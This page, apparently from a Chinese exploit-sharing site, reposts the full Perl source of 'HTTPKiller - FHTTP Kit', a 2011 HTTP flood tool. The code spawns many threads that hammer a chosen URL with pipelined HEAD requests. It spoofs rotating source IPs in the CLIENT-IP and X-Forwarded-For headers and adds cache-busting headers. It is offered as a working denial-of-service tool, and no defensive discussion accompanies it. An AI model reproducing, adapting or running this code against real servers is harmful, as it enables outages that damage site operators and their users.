首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HTTPKiller - FHTTP Kit by Xianur0
来源:xianur0.null@gmail.com 作者:Xianur0 发布时间:2011-08-29  

# HTTPKiller - FHTTP Kit by Xianur0
# Copyright (C) 2011 Oscar García López (http://hackingtelevision.blogspot.com)

#    This program is free software: you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation, either version 3 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License
#    along with this program.  If not, see <http://www.gnu.org/licenses/>.
#  
#    xianur0.null@gmail.com
#    http://hackingtelevision.blogspot.com/

package control;

my $ip;


sub new {
    my ($class,$i) = @_;
    $ip = $i;
    my $self={};
    $ip = $i;
    bless $self, $class;
    return $self;
}

sub mas {
my ($self,$veces) = @_;
$veces = 1 if($veces eq "");
my ($a,$e,$o,$b) = split(/\./,$ip);
for($as=0;$as<$veces;$as++) {
$b++;
if($b>=255) {$b=0;$o++;}
if($o>=255) {$o=0;$e++;}
if($e>=255) {$e=0;$a++;}
die("No mas IPs!\n") if($a>=255);
}
$ip = join "",$a,".",$e,".",$o,".",$b;
return $ip;
}

1;

package main;

use Socket;
use IO::Socket::INET;
use threads ('yield',
    'exit' => 'threads_only',
    'stringify');
use threads::shared;

my $ua = "Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0";
my $method = "HEAD";
my $hilo;
my @vals = ('a','b','c','d','e','f','g','h','i','j','k','l','n','o','p','q','r','s','t','u','w','x','y','z',0,1,2,3,4,5,6,7,8,9);
my $randsemilla = "";
for($i = 0; $i < 30; $i++) {
 $randsemilla .= $vals[int(rand($#vals))];
}
sub socker {
 my ($remote,$port) = @_;
 my ($iaddr, $paddr, $proto);
 $iaddr = inet_aton($remote) || return false;
 $paddr = sockaddr_in($port, $iaddr) || return false;
 $proto = getprotobyname('tcp');
 socket(SOCK, PF_INET, SOCK_STREAM, $proto);
 connect(SOCK, $paddr) || return false;
 return SOCK;
}


sub sender {
 my ($max,$puerto,$host,$file) = @_;
 my $sock;
 while(true) {
  my $paquete = "";
  $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $puerto, Proto => 'tcp');
  unless($sock) {
   print "\n[x] Unable to connect...\n\n";
   sleep(1);
   next;
  }
  for($i=0;$i<$porconexion;$i++) {
   $ipinicial = $sumador->mas();
   my $filepath = $file;
   $filepath =~ s/(\{mn\-fakeip\})/$ipinicial/g;
   $paquete .= join "",$method," /",$filepath," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nCLIENT-IP: ",$ipinicial,"\r\nX-Forwarded-For: ",$ipinicial,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
  }
  $paquete =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
  print $sock $paquete;
 }
}

sub sender2 {
 my ($puerto,$host,$paquete) = @_;
 my $sock;
 my $sumador :shared;
 while(true) {
  $sock = &socker($host,$puerto);
  unless($sock) {
   print "\n[x] Unable to connect...\n\n";
   next;
  }
  print $sock $paquete;
 }
}

sub comenzar {
 $SIG{'KILL'} = sub { print "Killed...\n"; threads->exit(); };
 $url = $ARGV[0];
 print "URL: ".$url."\n";
 $max = $ARGV[1];
 $porconexion = $ARGV[2];
 $ipfake = $ARGV[3];
 if($porconexion < 1) {
  print "[-]Invalid arg 3...\n";
  exit;
 }
 if($url !~ /^http:\/\//) {
  die("[x] Invalid URL!\n");
 }
 $url .= "/" if($url =~ /^http?:\/\/([\d\w\:\.-]*)$/);
 ($host,$file) = ($url =~ /^http?:\/\/(.*?)\/(.*)/);
 $puerto = 80;
 ($host,$puerto) = ($host =~ /(.*?):(.*)/) if($host =~ /(.*?):(.*)/);
 $file =~ s/\s/%20/g;
 print join "","[!] Launching ",$max," threads!\n";
 $file = "/".$file if($file !~ /^\//);
 print join "","Target: ",$host,":",$puerto,"\nPath: ",$file,"\n\n";
 # entonces toca un paquete unico, no tiene caso que se genere por cada hilo :)...
 if($ipfake eq "") {
  # envio repetitivo
  my $paquetebase = join "",$method," /",$file," HTTP/1.1\r\nHost: ",$host,"\r\nUser-Agent: ",$ua,"\r\nIf-None-Match: ",$randsemilla,"\r\nIf-Modified-Since: Fri, 1 Dec 1969 23:00:00 GMT\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n";
  $paquetesender = "";
  $paquetesender = $paquetebase x $porconexion;
  $paquetesender =~ s/Connection: Keep-Alive\r\n\r\n$/Connection: Close\r\n\r\n/;
  for($v=0;$v<$max;$v++) {
   $thr[$v] = threads->create('sender2', ($puerto,$host,$paquetesender));
  }
 } else {
  # envio con ip...
  $sumador = control->new($ipfake);
  for($v=0;$v<$max;$v++) {
   $thr[$v] = threads->create('sender', ($porconexion,$puerto,$host,$file));
  }
 }
 print "[-] Launched!\n";
 for($v=0;$v<$max;$v++) {
  if ($thr[$v]->is_running()) {
   sleep(3);
   $v--;
  }
 }
 print "Fin!\n";
}


if($#ARGV > 2) {
 comenzar();
} else {
 die("Use: mn.pl [url] [Connections] [Requests per connection] [Initial false IP (optional)]\n");
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·LifeSize Room Command Injectio
·Apache httpd Remote Denial of
·Mini-stream Ripper 2.9.7.273 (
·Portable Saint Paint Studio Lo
·Groovy Media Player Version 2.
·Mini FTP Server 1.1 Buffer Cor
·Windows7/win2008 提权0day
·yahoo! player 1.5 (.m3u) Unive
·Free MP3 CD Ripper 1.1 Buffer
·Free MP3 CD Ripper 1.1 DEP Byp
·DVD X Player 5.5 Professional
·Free MP3 CD Ripper 1.1 Local B
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved